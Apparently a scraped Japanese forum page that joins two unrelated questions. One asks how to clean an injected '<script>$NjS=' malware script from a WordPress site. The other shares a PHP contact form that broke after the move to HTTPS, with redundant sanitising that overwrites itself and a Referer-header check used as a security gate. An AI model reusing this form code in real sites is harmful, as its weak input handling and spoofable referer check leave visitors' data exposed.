Exploit Scannerというサイト内スキャンのプラグインを使って該当箇所の確認、アクセスされた箇所の修正、怪しいプラグインの削除を行いました。
また、Search Replace DBを使って<script>$NjS=で始まる文字列の検索もしました。
Search Replace DBやサイト内で上記スクリプトは検索されなくなりましたが、Exploit Scannerというプラグインの検索結果の中にはまだスクリプトが残ってしまっています。
他にもプラグインを入れてサイト内の文字検索や置換も試してみましたが駄目でした。

この<script>$NjS=で始まる文字列はまだサイト内にあるのかどうか、削除方法や検索方法、解決方法があればご教示いただけないでしょうか？


不正アクセスの痕跡を消したい

まず知識が乏しく、質問の仕方が不味かったら申し訳ありません。
サイトのSSL化を行ったところ、それまで動いていたお問い合わせフォームが正常に動作しなくなりました。
もし修正すべき点がありましたらご教授いただければと思います。

### SSL化前
http://www.hogehoge.co.jp/contact/ よりフォ－ムに記載し、確認ボタンを押すと http://www.hogehoge.co.jp/contact/index.php に入力内容の確認画面が表示されていました。
※こちらは現在も、SSL環境で無ければ動作致します。

### SSL化後
SSL化後、https://www.hogehoge.co.jp/contact/ よりフォームに記載後、確認ボタンを押すと、**https://www.hogehoge.co.jp/contact/index.php にアクセスはするのですが、入力内容の確認画面では無くcontact/と同一の内容が表示されます（フォームの内容はクリアされています）**
こちら原因、又は修正する方法はありますでしょうか？

### 利用レンタルサーバー/プラン
大塚商会　アルファメール2

### phpの内容
phpの内容を以下に掲載させていただきます。

```index.php
<?php

//変数定義   
$contact_name            = '';
$contact_kana             = '';
$contact_comname          = '';
$contact_comkana          = '';
$contact_zip             = '';
$contact_add             = '';
$contact_mail             = '';
$contact_tel             = '';
$contact_cont             = '';

///エラーMSG 
$error_contact_name         = '';
$error_contact_kana         = '';
$error_contact_mail         = '';
$error_contact_tel          = '';
$error_contact_cont         = '';

$err_flg = 0;

if (!isset($_POST['sousin'])) {
  $_POST['sousin'] = '';
}
if (!isset($_POST['modoru'])) {
  $_POST['modoru'] = '';
}

if ($_POST['sousin'] != '' || $_POST['modoru'] != '') {

  include 'replacetext.php';
  $search   = array("\"");
  $replace  = array("”");

  $contact_name            = str_replace($search, $replace, $_POST['contact_name']);
  $contact_kana             = str_replace($search, $replace, $_POST['contact_kana']);
  $contact_comname         = str_replace($search, $replace, $_POST['contact_comname']);
  $contact_comkana         = str_replace($search, $replace, $_POST['contact_comkana']);
  $contact_zip             = str_replace($search, $replace, $_POST['contact_zip']);
  $contact_add             = str_replace($search, $replace, $_POST['contact_add']);
  $contact_mail             = str_replace($search, $replace, $_POST['contact_mail']);
  $contact_tel             = str_replace($search, $replace, $_POST['contact_tel']);
  $contact_cont             = str_replace($search, $replace, $_POST['contact_cont']);

  $contact_name            = replaceText($_POST['contact_name']);
  $contact_kana             = replaceText($_POST['contact_kana']);
  $contact_comname         = replaceText($_POST['contact_comname']);
  $contact_comkana         = replaceText($_POST['contact_comkana']);
  $contact_zip             = replaceText($_POST['contact_zip']);
  $contact_add             = replaceText($_POST['contact_add']);
  $contact_mail             = replaceText($_POST['contact_mail']);
  $contact_tel             = replaceText($_POST['contact_tel']);
  $contact_cont             = replaceText($_POST['contact_cont']);

  $contact_name            = htmlspecialchars($_POST['contact_name']);
  $contact_kana             = htmlspecialchars($_POST['contact_kana']);
  $contact_comname         = htmlspecialchars($_POST['contact_comname']);
  $contact_comkana         = htmlspecialchars($_POST['contact_comkana']);
  $contact_zip             = htmlspecialchars($_POST['contact_zip']);
  $contact_add             = htmlspecialchars($_POST['contact_add']);
  $contact_mail             = htmlspecialchars($_POST['contact_mail']);
  $contact_tel             = htmlspecialchars($_POST['contact_tel']);
  $contact_cont             = htmlspecialchars($_POST['contact_cont']);

  $contact_name            = mb_convert_kana($contact_name, 'KV', 'UTF-8');
  $contact_kana             = mb_convert_kana($contact_kana, 'KV', 'UTF-8');
  $contact_comname         = mb_convert_kana($contact_comname, 'KV', 'UTF-8');
  $contact_comkana          = mb_convert_kana($contact_comkana, 'KV', 'UTF-8');
  $contact_zip             = mb_convert_kana($contact_zip, 'KV', 'UTF-8');
  $contact_add             = mb_convert_kana($contact_add, 'KV', 'UTF-8');
  $contact_mail             = mb_convert_kana($contact_mail, 'KV', 'UTF-8');
  $contact_tel             = mb_convert_kana($contact_tel, 'KV', 'UTF-8');
  $contact_cont             = mb_convert_kana($contact_cont, 'KV', 'UTF-8');

  //エラーチェック

  //氏名
  if ($contact_name == '') {
    $err_flg = 1;
    $error_contact_name = 'お名前が入力されていません';
  }

  //都道府県
  if ($contact_kana == '') {
    $err_flg = 1;
    $error_contact_kana = 'お名前フリガナが入力されていません';
  }

  //メール
  if ($contact_mail == '') {
    $err_flg = 1;
    $error_contact_mail      = 'メールアドレスが入力されていません';
  } else {
    if (!preg_match('/^[-+\\w]+(\\.[-+\\w]+)*@[-a-z0-9]+(\\.[-a-z0-9]+)*\\.[a-z]{2,6}$/i', $contact_mail)) {
      $err_flg = 1;
      $error_contact_mail = 'メールアドレスが正しく入力されていません';
    }
  }

  //電話番号
  if ($contact_tel == '') {
    $err_flg = 1;
    $error_contact_tel = '連絡先電話番号が入力されていません';
  }

  //お問合せ内容
  if ($contact_cont == '') {
    $err_flg = 1;
    $error_contact_cont = 'お問合せ内容が入力されていません';
  }


  if ($err_flg == 0 && $_POST['modoru'] == '') {
    include "confirm.php";
    exit;
  } elseif ($err_flg != 0) {
    $error_contact_mess = '入力エラーがあります。入力内容をご確認ください';
  }
}

?>
```

```confirm.php
<?php

/* 不正アクセスチェック用 */
include 'check.php';

?>
```

```check.php
<?php

//設置するサイトのアドレスを""の中に入力。http://は入れない。最後の'/'も入れない。
$siteAddress = "hogehoge.co.jp";

$protname;

//ssl判定
if(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on')
{
  $protname = 'https';
}else{
  $protname = 'http';
}

//フォームのURL
$sitename = $protname."://".$siteAddress."/contact/index.php";
$sitename2 = $protname."://".$siteAddress."/contact/";


if(isset($_SERVER['HTTP_REFERER'])){
if ( $_SERVER['HTTP_REFERER'] != $sitename && $_SERVER['HTTP_REFERER'] != $sitename2 ){
	header("Location: ".$sitename);
	exit();
}
}

?>
```
```mailto.php
<?php

//お問合わせ
$mail_to_inq  = 'info@hogehoge.co.jp';


?>
```
情報量が少なく恐縮ですが、修正すべき点がありましたら（きっとあるとは思いますが…）ご教授いただければと思います。